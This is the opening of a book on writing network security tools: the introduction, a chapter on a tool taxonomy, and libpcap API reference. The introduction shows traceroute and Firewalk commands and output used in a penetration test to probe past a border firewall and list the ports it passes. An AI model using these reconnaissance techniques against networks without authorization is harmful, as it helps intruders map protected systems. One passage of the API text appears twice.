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Back Cover

Although open source network security tools come in all shapes and sizes, a company will eventually discover that
these tools are lacking in some area—whether it’s additional functionality, a specific feature, or a narrower scope.
Written by security expert Mike Schiffman, this comprehensive book will show you how to build your own network
security tools that meet the needs of your company. To accomplish this, you’ll first learn about the Network Security
Tool Paradigm in addition to currently available components including libcap, libnet, libnids, libsf, libdnet, and OpenSSL.
Schiffman offers a detailed discussion of these components, helping you gain a better understanding of the native
datatypes and exported functions. Next, you’ll find several key techniques that are built from the components as well
as easy-to-parse programming examples. The book then ties the model, code, and concepts together, explaining how
you can use this information to craft intricate and robust security systems.

Schiffman provides you with cost-effective, time-saving guidance on how to build customized network security tools
using existing components. He explores:

A multilayered model for describing network security tools
The ins and outs of several specific security-related components
How to combine these components into several useful network security techniques
Four different classifications for network security tools: passive reconnaissance, active reconnaissance, attack
and penetration, and defensive
How to combine techniques to build customized network security tools

About the Author

Mike D. Schiffman is Director of Security Architecture for @stake, the premier provider of professional security
consulting services. Previously, he was director of research and development at Guardent, a leading provider of
managed security services. He also held senior positions with ISS as well as Cambridge Technology Partners.
Schiffman has developed numerous security tools and is the author of Hacker’s Challenge.
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Introduction

Open-source network security tools come in all shapes and sizes. At one end of the spectrum, you have
small and tight programs such as Julian Assange's venerable but still useful Strobe TCP port scanner, and at
the other end you have large and complex applications such as Renaud Deraison's full-featured Nessus
security scanner. Maybe you have come across something like Marty Roesch's production-quality Snort
Network Intrusion Detection System or possibly found a never-quite-got-off-the-ground tool like the author's
TracerX enhanced Traceroute program. Some tools have intuitive and easy-to-navigate graphical interfaces,
such as Gerald Combs' slick Ethereal network protocol analyzer, while others such as Fyodor's ubiquitous
Nmap network scanner have a cryptic set of command-line argument mnemonics (granted, there is also a
graphical front-end available). There are tools that are so well written and that fit such a perfect niche that you
find yourself wondering why someone did not come up with them years ago. Perfect examples are Dug
Song's Dsniff network traffic manipulation suite and his nifty Fragroute IP fragmentation attack tool. But what
if you needed a tool that did not exist? Eventually, all tools available to you will prove to be lacking in some
area, whether it is additional functionality, a specific feature, or a narrower scope. In these cases, having the
capability to build your own tool is extremely beneficial. Anecdotally, this situation is exactly what led to the
development of Firewalk, a tool for performing gateway portscans.

In 1998, I worked with a colleague, David Goldsmith, to perform a network penetration test for a company
with a reasonably deep network. As a matter of best practice, one of the first things that we did was attempt to
enumerate devices across their network. We had an internal IP address, so we started with a UDP-based
Traceroute scan.

Traceroute is an active reconnaissance network security tool employing the IP expiry technique designed to
map out all intermediate routers en route to a particular destination host. We began our Traceroute as
follows:

   tradecraft:~ > traceroute -n 10.0.14.1
   traceroute to 10.0.14.1 (10.0.14.1), 30 hops max, 40 byte packets
   1 10.0.0.1 (10.0.0.1) 0.540 ms 0.394 ms 0.397 ms
   2 10.0.1.1 (10.0.1.1) 2.455 ms 2.479 ms 2.512 ms
   3 10.0.2.1 (10.0.2.1) 4.812 ms 4.780 ms 4.747 ms
   4 10.0.3.1 (10.0.3.1) 5.010 ms 4.903 ms 4.980 ms
   5 10.0.4.1 (10.0.4.1) 5.520 ms 5.809 ms 6.061 ms
   6 10.0.5.1 (10.0.5.1) 9.584 ms 21.754 ms 20.530 ms
   7 10.0.6.1 (10.0.6.1) 89.889 ms 79.719 ms 85.918 ms
   8 10.0.7.1 (10.0.7.1) 92.605 ms 80.361 ms 94.336 ms
   9 * * *
   10 * * *

This Traceroute brought us eight hops from our starting point to the edge of their network but stopped short at
what appeared to be a restrictive border firewall at 10.0.7.1. The firewall apparently blocked most traffic, but
we knew that there was a primary DNS server somewhere inside the network and that DNS queries to UDP
port 53 would be allowed. Because we could control the starting destination port number and we knew that it
was eight hops to the firewall and three probes were being sent per round, we could deterministically control
the port number of the Traceroute packet that reached the firewall with the following formula:

        (target_port - (number_of_hops * num_of_probes)) - 1



   tradecraft:~ > traceroute -n -p‘echo "53 - (8 * 3) - 1" | bc’ 10.0.14.1
   traceroute to 10.0.14.1 (10.0.14.1), 30 hops max, 40 byte packets
   1 10.0.0.1 (10.0.0.1) 0.501 ms 0.399 ms 0.395 ms
   2 10.0.1.1 (10.0.1.1) 2.433 ms 2.940 ms 2.481 ms
   3 10.0.2.1 (10.0.2.1) 4.790 ms 4.830 ms 4.885 ms
   4 10.0.3.1 (10.0.3.1) 5.196 ms 5.127 ms 4.733 ms
   5 10.0.4.1 (10.0.4.1) 5.650 ms 5.551 ms 6.165 ms
   6 10.0.5.1 (10.0.5.1) 7.820 ms 20.554 ms 19.525 ms
   7 10.0.6.1 (10.0.6.1) 88.552 ms 90.006 ms 93.447 ms
   8 10.0.7.1 (10.0.7.1) 92.009 ms 94.855 ms 88.122 ms
   9 10.0.8.1 (10.0.8.1) 101.163 ms * *
   10 * * *

This enabled us to get one hop behind the firewall. Due to the fact that Traceroute kept incrementing the
destination port after it hit the 10.0.8.1 hop, nine hops were as far as we could get before the packets were
denied by the firewall. This UDP destination port incrementing is an artifact from when the original Traceroute
code was written years ago; older UNIX kernels would not permit an application programmer to modify IP
header fields like the IP ID field that would enable the programmer to more easily identify returned packets.
That Traceroute limitation prompted a simple but effective "static patch" to the sourcecode that stopped this
incrementing of the destination port. Thus, we simply had to call Traceroute with a target destination port and
specify the static port flag:

   tradecraft:~ > traceroute -S -p53 10.0.14.1
   traceroute to 10.0.14.1 (10.0.14.1), 30 hops max, 40 byte packets
   1 10.0.0.1 (10.0.0.1) 0.516 ms 0.396 ms 0.390 ms
   2 10.0.1.1 (10.0.1.1) 2.516 ms 2.476 ms 2.431 ms
   3 10.0.2.1 (10.0.2.1) 5.060 ms 4.848 ms 4.721 ms
   4 10.0.3.1 (10.0.3.1) 5.019 ms 4.694 ms 4.973 ms
   5 10.0.4.1 (10.0.4.1) 6.097 ms 5.856 ms 6.002 ms
   6 10.0.5.1 (10.0.5.1) 19.257 ms 9.002 ms 21.797 ms
   7 10.0.6.1 (10.0.6.1) 84.753 ms * *
   8 10.0.7.1 (10.0.7.1) 96.864 ms 98.006 ms 95.491 ms
   9 10.0.8.1 (10.0.8.1) 94.300 ms * 96.549 ms
   10 10.0.9.1 (10.0.9.1) 101.257 ms 107.164 ms 103.318 ms
   11 10.0.10.1 (10.0.10.1) 102.847 ms 110.158 ms *
   12 10.0.11.1 (10.0.11.1) 192.196 ms 185.265 ms *
   13 10.0.12.1 (10.0.12.1) 168.151 ms 183.238 ms 183.458 ms
   14 10.0.13.1 (10.0.13.1) 218.972 ms 209.388 ms 195.686 ms
   15 10.0.14.1 (10.0.14.1) 236.102 ms 237.208 ms 230.185 ms

The patched code succeeded in bringing us all the way inside their network, enumerating all hosts up to the
target IP address. At this point, we began to wonder about what other ports and transport protocols the
firewall would pass and wanted to use the same technique of sending an elicit packet and looking for a
terminal packet, but we had reached the wall (so to speak) with Traceroute.

At that point, we were less concerned with intermediate hops between us and our target because we wanted
to try other ports and other protocols, but traceroute was just not really designed for this type of activity. This
additional functionality that we needed was not available in any existing tool, so from that we began
development of the Firewalk active reconnaissance network security tool.

Firewalk attempts to determine what transport protocols a given network gateway (router or firewall) will pass.



Firewalk is another implementation of the IP expiry technique that works by sending out TCP or UDP packets
with an IP TTL of one greater than the targeted gateway. If the gateway permits the traffic, it will forward the
packets to the next hop where they will expire and elicit an ICMP time exceeded message. If the gateway host
does not permit the traffic, it will likely drop the packets on the floor and we will see no response. To get the
correct IP TTL that will result in expired packets one beyond the gateway, Firewalk needs to ramp up hop
counts. It performs this task in the same manner that Traceroute works. Once Firewalk has the gateway
hopcount (at that point, the scan is said to be bound), it can begin our scan. A sample execution of Firewalk
across the same network performing a small UDP scan to see what other ports were open is as follows:

   tradecraft:~ > firewalk -n -S53, 135–139,111,161 10.0.8.1 10.0.10.1
   HOTFOOT through 10.0.8.1 (using 10.0.10.1 as a metric).
   Ramping phase source port: 53, destination port: 33434
   UDP-based scan. Using strict RFC adherence.
   (1) TTL: 1 - expired [10.0.0.1]
   (2) TTL: 2 - expired [10.0.1.1]
   (3) TTL: 3 - expired [10.0.2.1]
   (4) TTL: 3 - expired [10.0.3.1]
   (5) TTL: 3 - expired [10.0.4.1]
   (6) TTL: 3 - expired [10.0.5.1]
   (7) TTL: 3 - expired [10.0.6.1]
   (8) TTL: 3 - expired [10.0.7.1]
   (9) TTL: 3 - expired [10.0.8.1]
   Binding host reached.
   Scanning phase bound at 9 hops.
   port 53 open (expired) [10.0.9.1]
   port 135 *
   port 136 *
   port 137 *
   port 138 *
   port 139 *
   port 111 open (expired) [10.0.9.1]
   port 161 open (expired) [10.0.9.1]
   Total packets sent:                 17
   Total packets errors:                0
   Total packets caught:               24
   Total packets caught of interest:   12
   Total ports scanned:                 8
   Total ports open:                    3
   Total ports unknown:                 0

From this scan, we learned that of the eight UDP ports scanned, only three ports 53 (DNS), 111 (RPC), and
161 (SNMP) were passed by the 10.0.8.1 firewall. This information was good for the engagement that we
could never have gotten with Traceroute alone. Much more detailed information on active reconnaissance
tools, IP expiry techniques, and Firewalk will appear in later chapters.

This book is here to help you learn how to build your own network security tools for your own purposes. You
will learn the following:

A multi-layered model for describing network security tools

The ins and outs of several specific security-related components



How to combine these components into several useful network security techniques

Four different classifications for network security techniques

How to combine techniques to build network security tools

How We Organized This Book

Chapters 1–7 cover the Network Security Tool Paradigm and all of the building blocks, or components,
available to the reader. Chapter 1 lays out a modular model that we will use to tie the book together. Each
chapter from 2–7 is devoted to a different component that we will discuss in detail, covering native datatypes
and exported functions. We took great care to add value to each chapter above and beyond that which is
ostensibly available in existing manual pages and documentation. Each chapter ends with a small sample
program that illustrates core functionality of that component. The components covered in these chapters are:

Libpcap: Chapter 2

Libnet: Chapter 3

Libnids: Chapter 4

Libsf: Chapter 5

Libdnet: Chapter 6

OpenSSL: Chapter 7

Chapter 8–11 cover several techniques that are built from the components. Each chapter in this section will
cover techniques in each of the four classifications in detail, including sample code:

Passive Reconnaissance Techniques: Chapter 8

Active Reconnaissance Techniques: Chapter 9

Attack And Penetration Techniques: Chapter 10

Defensive Techniques: Chapter 11

Chapter 12 is devoted to using the model, code, and concepts covered in the first sections to build a complete
and fully functional network security tool in Firewalk 5.0.

You can download all of the code in this book from the companion Web site of this book at
http://www.wiley.com/compbooks/schiffman.
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Components Legend

Chapters 2–7 all begin with a brief overview of the profiled components. The following legend applies:

URL: The main distribution point of the component

Primary authors: The primary author or authors of the component

Component
type:

The type of the component (C language library, PERL script, and so on) and a brief
description of what it does

License: The type of distribution license (BSD, GPL, and so on)

Version profiled: The version of the component

Dependencies: Other software required to build this component

 



 

Who Should Read This Book

There is a distinction made in this book between a developer and a programmer. A component developer is
responsible for the design and architecture of a component. These people need to know the internal
composure and architecture of a component. These people need to know the internal composure and design
considerations of a particular component. They design and build the application programming interface (API).

On the other side of the glass is the application programmer, who implements and uses the component.
These people need to know the API in order to bend the component to their will and use it inside their
application. Of course, an application programmer can certainly be a de-veloper when designing a
component that is built on top of another component.

Generally speaking, this book is for application programmers. Internals of only a few components are
mentioned when necessary to explain higher-level concepts.

 



 

Language, Platform, and Compiler

Except where noted, all of the code in this book is in good old ISO/IEC 9899 C. The development platform of
choice was OpenBSD 3.0 with all of the stock development tools that come with it (such as make, ar, and ld).
The GNU C Compiler (gcc) version 2.95.3 was used to compile all of the code. While OpenBSD was the
development platform, the majority of the code in this book should also port to many other Unix and Unix-like
operating systems and possibly Win32/Cygwin.

 



 

C Programming Concepts

This book involves a great deal of C code. The following programming concepts are helpful in order to get
the most from future chapters.

Programming Libraries

A programming library is a cohesive collection of programming primitives usually grouped together under a
common purpose (libpcap is a programming library devoted to packet capture; libnet is a library devoted to
packet construction and injection). Generally speaking, libraries consist of two constituent parts: the binary
archive where the code implementation is kept and the header files where the interface to the library is
specified, along with symbolic constants and macros. Effective documentation, while always helpful, is
unfortunately not always part of the package. Well-written library code offers the following benefits to the end
user:

Code reuse. Libraries offer the application programmer convenient access to commonly used routines.
Rather than having to write a routine to output text to the screen, the programmer can include the
Standard C library (libc) and make a function call to printf(). All of the code for printf() is kept

inside libc, and the application programmer never has to bother with anything other than learning its
interface.

Task focus. A programming library enables the programmer to concentrate on the problem at hand and
obviate the tedium of having to write ancillary support code.

Portability. Programming libraries often increase a program's portability to different platforms and
operating systems. If all of the architecture-specific code is moved into a library that is portable, making
the rest of the program portable is often simple.

Code readability. An often-overlooked benefit of employing programming libraries is the fact that they
increase a program's readability and make it easier to follow its logic flow. The more that the workhorse
code is moved out of band into libraries, the more the actual code resembles high-level pseudo-code,
which is much easier to read, understand, and therefore debug.

Callback Functions

The C programming language natively defines several fundamental datatypes for use as variables (int,
char, and short). While a function is not a variable, a pointer to a function is and can be manipulated as a

normal C variable (arithmetically, in arrays). Function pointers provide the basis for callback functions. A
callback function is simply a function pointer passed as an argument to a function.

Function Reentrace and Thread-Safety

Reentrance or "purity" is the quality of a C function that enables it to be interrupted and subsequently be
reinstantiated, either by itself or as an external function, and have it still complete its task as designed without
side effects. In other words, the function must be able to handle multiple instantiations of itself with completely
predictable results. A reentrant function is also known as "asynchronous signal safe," because an interrupt
handler function can safely interrupt it, perform some task (which might include calling the function), and then
retur to the original execution context. In order to be reentrant, a function needs to obey three simple rules:

It cannot modify itself. In other words, the function cannot change what it does or how it does it. Its code
is set in stone.



It cannot maintain state through multiple instantiations. Each execution of the function must have its
own copy of whatever local variables it defines. A reentrant function cannot make use of any static data,
modify any global data, or return a pointer to static data.

It cannot invoke a non-reentrant function. Within the context of this book, it is assumed (unless
otherwise stated) that all ancillary libc functions are reentrant.

Thread safety is a similar concept to reentrance, but it concerns multithreaded programs. A thread-safe
function can be instantiated by several threads executing simultaneously with predictable results. To achieve
thread safety, a function must use synchronization primitives to mediate access to shared data (and as such,
it might or might not be reentrant). Like reentrant functions, a thread-safe function might not modify any global
data or employ static data.

Assertions

Assertions, executed via the assert() macro, are used to test an expression for truth (or validity), and if the
expression is false, the calling process will terminate (via a call to abort ()) and a debug line is written to

standard error. Most often, you see assertions at the beginning of a function testing to confirm whether or not
a given pointer is NULL when if it was, it would cause the program to behave erratically or generate a
segmentation fault. The assert() macro is a cheap debugging tool that, if there is a problem, lets the

application programmer know where it is with a minimum of hassle.

 



 

Conventions Used in This Book

A monospaced Courier font is used for all commands, functions, code, and output from commands.

 



 

Chapter 1: The Network Security Tool Paradigm

Overview

Before we can talk about building something (in this case, network security tools), we need to adequately
define what that something is. Clinically,

A network security tool is an algorithmic implement that is designed to probe, assess, or increase the
overall safety of or to mitigate the risk associated with an entity across a communications medium.

This chapter offers a new paradigm, or model, for defining network security tools. It graphically details each
layer of the model and introduces a new taxonomy to classify tool types. Finally, the chapter closes by fitting
the model into a widely known accepted process for developing software. This chapter enables the reader to
develop a firm grasp on what a network security tool is and how to begin planning development.

 



 

A Modular Model

The preceding definition of a network security tool, although technically accurate, does not offer a tangible
description. Using this definition as an overall theme, however, we can formulate a more functional model of
network security tools. The modular model of network security tool design (see Figure 1.1) separates a
network security tool into separate objects at three layers. Each layer has a different level of specificity, with
each object responsible for a different area of functionality. The three layers, component, technique, and
control, adequately break down a network security tool into an abstract entity, making it much easier to
conceptualize and build. A fourth entity, class, depends on the technique(s) that the tool employs and is set at
the technique layer. Due to the layering paradigm, dependencies with the modular model of network security
tool design (referred to from here on as the modular model) are naturally hierarchical. Objects at one layer
have dependencies on one or more objects below it. Techniques depend on one or more components, just
as the control logic depends on one or more techniques.

Figure 1.1: The modular model of network security tool design.

Component Layer

At the most fundamental layer is the component. Components answer the question, "How does this tool do
what it does?" They are task-oriented and specific at what they do. Components tend to outlay the
development requirements and restraints of a tool, because certain components might have dependencies
that require additional components to be installed or certain other files to be in place on the system. For
example, libnids is a component for building network intrusion detection systems that requires the libnet
component to be installed before you can employ it.Figure 1.2 shows the components profiled in this book
and their relationships.



Figure 1.2: Components.

Technique Layer

Above the component layer is the technique layer. Techniques answer the question, "What does this tool do?
" They are a bit more abstract than components and are more solution-focused. Techniques consist of one or
more components and imply a degree of analysis or control logic. Much of the tool's major work occurs at this
layer, and as such the tool's class (described as follows) is bound here.

For example, packet sniffing is a technique built on top of the libpcap component. It employs libpcap to
perform packet capture, but packet sniffing requires additional processing of the captured data and usually
functions with a specific goal in mind (such as e-mail or passwords). The techniques profiled in this book
appear in Figure 1.3.

Figure 1.3: Techniques.



Control Layer

Finally, above the technique layer is the control layer. The control layer is a general abstract layer that groups
together the individual pieces below. The control layer is like a delivery mechanism for techniques. The
control layer is less concerned with security-related topics than general program cohesion. Anything that does
not logically fit at the component or technique layer stays here, including the user interface, overall program
flow, end-user reporting, and internal data correlation. Because it is such a general layer and is not security-
specific, there is not much singular focus on it in this book.

 



 

Network Security Tool Taxonomy

To further simplify conceptualization, we can assign a taxonomy system to network security tools within the
modular model of network security tool design to classify and group them. We can describe this system with
the following four main groups or classes:

Active reconnaissance

Passive reconnaissance

Attack and penetration

Defensive

As described earlier, these classes are tied to the technique layer. The different techniques that a tool
employs determine how it should be classified.

Reconnaissance Tools

Reconnaissance tools gather information and assist the user in learning more about a network entity. These
tools tend to be agnostic in that they can be used for attack and penetration or defensive purposes. Tools in
this category are either active or passive. An active tool generally gathers information by doing something in a
detectable way, often by sending network traffic and waiting for responses. Active tools should change little if
any state on the entity in question. A passive tool generally works in the opposite way by receiving unsolicited
network traffic and analyzing it. Passive tools don't change any state on the entity in question. If a tool
employs both passive and active reconnaissance techniques, the active component takes precedence for
classification, and the tool is considered an active reconnaissance tool. Reconnaissance tools tend to have
longer lifetimes in terms of utility compared to the other two, and they work in conjunction with both defensive
and attack and penetration tools.

Attack and Penetration Tools

Attack and penetration tools test the strengths of network entities and expose weaknesses. Practically, these
tools aid the user in breaking into and gaining unauthorized access to a network entity (host, router, firewall,
or switch). They often work by exploiting a specific vulnerability or a class of vulnerabilities in software or by
exploiting unintended interactions between entities in heterogeneous environments. Attack and penetration
tools usually require updates to remain useful because security vulnerabilities are often patched after they
surface. These tools usually are at odds with defensive tools but are supported by reconnaissance tools.

Defensive Tools

Defensive tools assist the user in keeping a network entity safe. They might perform this task by encrypting
sensitive traffic, watching for illicit activity, or blocking certain kinds of network traffic. Defensive tools are often
more complex and have longer execution times (they might run indefinitely) due to the fact that defending a
network entity is usually more complex than attacking one. Defensive tools also usually require some sort of
update process to learn about new security vulnerabilities as they surface. These tools usually are at odds
with attack and penetration tools but are supported by reconnaissance tools.

In this book, you will learn to build tools that employ techniques from each of these classes. You can use the
modular model to classify many existing tools. To use Traceroute, for example, we would classify it as an
active reconnaissance tool(see Figure 1.4).



Figure 1.4: Traceroute.

 



 

Software Development Lifecycle

The modular model enables the application programmer to rapidly conceptualize new network security tools
for development. Conventional software development occurs through the software development lifecycle.
This lifecycle is a progression of high-level tasks that help develop and maintain software. The modular
model plugs into the software development lifecycle in the early phases of requirements, analysis, and design
(see Figure 1.5). When using the modular model inside the software development lifecycle, the process
becomes top-down.

Figure 1.5: The modular model of network security tool design and the software development lifecycle.

Requirements

In the requirements phase, the application programmer identifies user requirements, expectations, and
constraints. This task usually consists of considering the needs of potential users and meticulously
documenting the work-flow and identifying requirements that fall out from this process. With the modular
model, this point is where the application programmer determines what problem the tool needs to solve and
how he or she should specify the tool. Here, we determine other high-level requirements such as end-user
information delivery, reporting, and interface requirements, and they map cleanly to the control layer of the
modular model. When this task is complete, the application programmer will have a clear understanding of
the scope of the tool being developed.

Analysis

In the next phase, analysis, the application programmer models the tool's potential environment to increase
and confirm the understanding of any issues. Requirements are analyzed, prioritized, and possibly
reconsidered. The analysis phase might change some of the requirements, which will cause the process to
revert back a step and reconsider the modular model.

Design

We further realize the top-down nature of the modular model in the design phase as the application



programmer specifies the techniques necessary to meet previously analyzed requirements. The programmer
then determines the components from the dependencies at the technique layer. At this point, there is a
working specification of the tool that is subject to peer review to ensure that it is commensurate with the
modular model. If the peer review finds that there are problems with the design that are perhaps out of scope
or based on a broken model, the process reverts back to the requirements phase (using the modular model).

 



 

Conclusion

This chapter defined a new paradigm, the modular model for network security tool design, for defining
network security tools. The modular model is layered and enables us to easily classify network security tools.
We also saw how the modular model easily maps into the software development lifecycle. With this structure,
the reader can begin planning the development of new network security tools.

 



 

Chapter 2: The Libpcap Library

Overview

URL: http://www.tcpdump.org

Primary author: A consortium of talented people (originally from The Lawrence Berkeley National
Laboratory)

Component
type:

C language library, packet capture

License: BSD

Version profiled: .0.7.1

Dependencies: None

Almost every disparate operating system provides different semantics on how to access low-level network
packet-capturing functionality. These semantics are arcane and often mnemonic, making it complex to write
portable code. The libpcap library addresses these concerns by providing a common highlevel application
programming interface (API) into the packet-capturing framework of many operating systems. By
standardizing the interface, libpcap provides an abstraction layer for the programmer, facilitating the rapid
development of portable applications.

Libpcap is an open-source, freely available C library providing a user-land interface for packet capture across
a broad range of platforms. Applications utilizing libpcap include network statistics collection, network
debugging, and-as we will see later-a strong foundation for advanced security monitoring and information
collection suites. At this writing, libpcap has been ported to the latest versions of almost every commonly used
operating system.

While libpcap's main role is to provide a solid framework for live packet capture, it also offers additional
functionality with strong support for packet filtering and offline capture file support.

 

http://www.tcpdump.org


 

Installation Notes

Installation of the library is straightforward.

  tradecraft:/usr/local/src/libpcap-0.6.2# ./configure; make; make install

 



 

Native Datatypes

Libpcap provides a few native datatypes that the applications programmer needs to recognize.

  pcap_t

pcap_t is a typedef from the pcap structure, libpcap's native handler datatype. pcap_t is the main
monolithic structure containing all of the details that make up a pcap descriptor, which in turn references a
libpcap session. One of the pcap_open_*() functions initializes this dataype for the user. Every major
function within libpcap either modifies or reads from a pcap_t pcap descriptor. While it is vital to understand
the pcap_t datatype, it is a fully opaque structure (the applications programmer should never have to look

inside it).

  pcap_addr_t

pcap_addr_t is a typedef from the pcap_addr structure. This datatype holds address information inside
pcap_if_t. The following elements of pcap_addr_t are useful to the application programmer.

  struct pcap_addr *next;

next is the next element in the list.

  struct sockaddr *addr;

addr contains the network address of the interface.

  struct sockaddr *netmask;

netmask contains the netmask for the address.

  struct sockaddr *broadaddr;

broadaddr contains the broadcast for the address.

  struct sockaddr *dstaddr;



dstaddr contains the point-to-point destination for the address.

  pcap_if_t

pcap_if_t is a typedef from the pcap_if structure. This datatype holds information about interfaces that
are available to libpcap, usually filled in by pcap_findalldevs(). The following elements of pcap_if_t

are useful to the application programmer.

  struct pcap_if *next;

next is the next element in the list.

  char *name;

name is the canonical name of the interface, which is useful to pass to pcap_open_live().

  char *description;

description is an optional description of the device.

  struct pcap_addr addresses;

addresses contains a linked list of address information (described earlier).

  struct pcap_stat {

pcap_stat is where libpcap stores its statistical information about each session. Depending on the

underlying packet capturing interface and whether or not a libpcap filter has been installed, the semantics of
the interpretation of each of the following structure members changes.

  u_int ps_recv;

ps_recv counts the number of received packets, and you should interpret it as per Table 2.1.

Table 2.1: pcap_stat.ps_recv Semantics



INTERFACE MEANING

BPF packets handed to the filter

DLPI packets handed to the filter

Linux packets that passed the filter

NIT packets handed to the filter

PF packets that passed the filter

SNIT packets handed to the filter

Snoop packets that passed the filter

  u_int ps_drop;

ps_drop counts the number of dropped packets, and you should interpret it as per Table 2.2.

Table 2.2: pcap_stat.ps_drop Semantics

INTERFACE MEANING

BPF packets handed to the filter but dropped due to insufficient buffer space

DLPI packets dropped due to resource limitations regardless of the filter

Linux 2.2.x not implemented

Linux 2.4.x packets dropped due to resource exhaustion or flow control regardless of the filter

NIT packets dropped due to resource exhaustion or flow control regardless of the filter



INTERFACE MEANING

PF packets dropped due to a full input queue regardless of the filter

SNIT packets dropped due to resource exhaustion or flow control regardless of the filter

Snoop packets dropped due to hardware problems or resource limits regardless of the filter

  u_int ps_ifdrop;

ps_ifdrop is only implemented on systems supporting the pf interface (Ultrix and Digital Unix). On these

systems, it records the number of packets that the network interface actually drops.

  };
  struct pcap_pkthdr {

pcap_pkthdr is the structure overlay that is prepended to every packet that libpcap returns to the
pcap_handler function.

  struct timeval ts;

ts records the time in seconds and microseconds that the packet arrived on the interface.

  bpf_u_int32 caplen;

caplen records the length of the packet actually captured by libpcap. The snapshot length (snaplen)
variable set often constrains this datatype in pcap_open_live().

  bpf_u_int32 len;

len records the length of the packet as it appeared directly from the wire.

  };

 

PF packets dropped due to a full input queue regardless of the filter

SNIT packets dropped due to resource exhaustion or flow control regardless of the filter

Snoop packets dropped due to hardware problems or resource limits regardless of the filter

  u_int ps_ifdrop;

ps_ifdrop is only implemented on systems supporting the pf interface (Ultrix and Digital Unix). On these

systems, it records the number of packets that the network interface actually drops.

  };
  struct pcap_pkthdr {

pcap_pkthdr is the structure overlay that is prepended to every packet that libpcap returns to the
pcap_handler function.

  struct timeval ts;

ts records the time in seconds and microseconds that the packet arrived on the interface.

  bpf_u_int32 caplen;

caplen records the length of the packet actually captured by libpcap. The snapshot length (snaplen)
variable set often constrains this datatype in pcap_open_live().

  bpf_u_int32 len;

len records the length of the packet as it appeared directly from the wire.

  };

 



 

Initialization Functions

All of the magic inside libpcap is contained inside a single monolithic pcap descriptor. Most every function
inside the library requires it as an argument. The following functions create this pcap descriptor and in turn

initialize the library for use.

  pcap_t *pcap_open_live(char *device, int snaplen, int
  promisc, int to_ms, char *errbuf);

Life with libpcap begins with pcap_open_live(). A program wishing to capture packets by using libpcap
first initializes the packet capture interface and obtains a pcap descriptor with pcap_open_live(). The
first argument, device, is a pointer to the network device that will perform the packet capture. This string is
short and canonical and references the device (in other words, "eth0" for a 100MB Ethernet card on Linux
and "fxp0" for a 100MB Ethernet card on OpenBSD). If a device string is unknown, a programmer can cull it
from the system with a call to pcap_lookupdev() (see the following description). The next argument,
snaplen, specifies the maximum number of bytes that pcap will capture per packet (the snapshot length;
not to be confused with the 802.2 SNAP protocol header). The next argument, promisc, specifies whether

or not libpcap should place the interface that device references in promiscuous mode (a positive value will set
it to be on, and a negative value will set it to be off). Promiscuous mode enables the interface to capture all
traffic on the local network regardless of intended destination, assuming that the underlying linklayer supports
this function. If promiscuous mode is off, the interface only returns traffic destined for itself. The fourth
argument, to_ms, specifies the read timeout in milliseconds. This read timeout more efficiently returns
multiple packets from the kernel rather than pulling them out one at a time. libpcap will wait for to_ms

milliseconds after seeing the first packet with the intent of reducing the number of system calls made. All
platforms do not support this timeout option. The final argument, errbuff, is a character pointer to a
warning or error string if something went wrong. errbuf should be a buffer of size PCAP_ERRBUF_SIZE,
which contains an error message if the function fails. Even if pcap_open_live() succeeds, errbuf can
still contain a warning message. According to the pcap manual page, the programmer should store a zero-
length string in errbuf before calling pcap_open_live() and check the string after a successful return. A
successful return yields a valid pcap descriptor while an unsuccessful return yields a NULL pointer.

Note Under Linux 2.2 kernels and later, you can specify a device of "any" or NULL that enables pcap to
capture packets from all network interfaces. At this writing, if this device is set, the promisc flag is

ignored.

Under Linux, IRIX, and HP-UX, the to_ms is ignored and one packet per read is returned.

Even if to_ms is supported, there is no guarantee that an attempt to read from the device will return when the

timeout expires even if no packets have arrived (you cannot use it for polling). For example, Solaris supports
the timeout but the timer does not start until a packet has arrived.

  pcap_t *pcap_open_dead(int linktype, int snaplen);

You use pcap_open_dead() when a pcap descriptor is required for other functions inside libpcap, but live

packet capturing functionality is not needed (for example, using the BPF filter code functionality). The
linktype argument specifies the network data link layer type, and you should set it to whatever link layer
technology you expect to use (in other words, DLT_EN10MB for all 10MB and up Ethernet networks and



DLT_IEEE802_11 for 802.11 Wireless networks). Note that the DLT_ values are different from the
LINKTYPE_ values, which are used in capture file headers. The snaplen is, as mentioned earlier, the

snapshot length. The BPF filter code uses these values for proper filter computation. Upon success, the
function returns a valid pcap descriptor. Upon failure, the function returns a NULL pointer and
pcap_geterr(), pcap_perror(), or you can call pcap_strerror() to get the reason.

  pcap_t *pcap_open_offline(char *fname, char *errbuf);

pcap_open_offline() opens a libpcap savefile for reading. fname is a pointer to the filename containing
the libpcap savefile, and pcap_dump_open() often creates this savefile. Upon success, the function returns
a pcap descriptor referring to the savefile; upon failure, the function returns a NULL pointer with the reason
contained in errbuf.

Note You can use the "-" string as a filename as a synonym for STDIN (standard input).

  void pcap_close(pcap_t *p);

pcap_close() closes a libpcap descriptor p and destroys all associated memory objects (including any

possible BPF filter programs).

Note Under Linux 2.0.x, one side effect is that all interfaces that p referenced and libpcap set as

promiscuous will have that bit cleared. This situation might cause problems for other applications
that set an interface to promiscuous separate from the libpcap application. The interface will

clear the promiscuous bit, which can have undesirable effects.

  char *pcap_lookupdev(char *errbuf);

pcap_lookupdev() searches the system's interface list for a device suitable for packet capture and finds
the lowest-numbered device that is ifconfig'd "up". The function is a wrapper to
pcap_findalldevs(), returning the first device on the list. Upon success, the function returns a pointer to
the device's canonical name. Upon failure, the function returns a NULL pointer and errbuf contains the

reason.

  int pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf);

pcap_findalldevs() gets a list of "up" interfaces available to libpcap for packet capture. Upon success,
the function returns 0 and alldevsp contains a linked list of interfaces. Upon failure, the function returns -1
and errbuf contains the reason.

  void pcap_freealldevs(pcap_if_t *alldevsp);

pcap_freealldevs() frees the memory associated with alldevsp.



 



 

Capture Functions

The majority of libpcap's code revolves around reading packets from the network. The following first three
functions accomplish the actual packet capturing, and they all call the same underlying internal libpcap
function, pcap_read(). Each offer different functionality, however.

  int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback,
  u_char *user);

pcap_dispatch() is the main function used to gather and process packets. The first argument, p,
specifies the libpcap descriptor from which to read packets. The second argument, cnt, specifies the
maximum number of packets that pcap_dispatch() should process before returning. A cnt of -1
processes all packets received in one buffer when reading from a live capture (pcap_open_live()) or all
of the packets in the savefile from a dead capture (pcap_open_dead()). The callback argument specifies a

function to call in order to process each packet with three arguments, two of which pcap automatically
generates:

A u_char pointer to user data. This data is arbitrary, specified by the application programmer, and

passed into the callback function. The constituency of the callback function dictates its use (if at all).

1.

A pointer to the pcap_pkthdr structure. This structure contains useful statistical information about

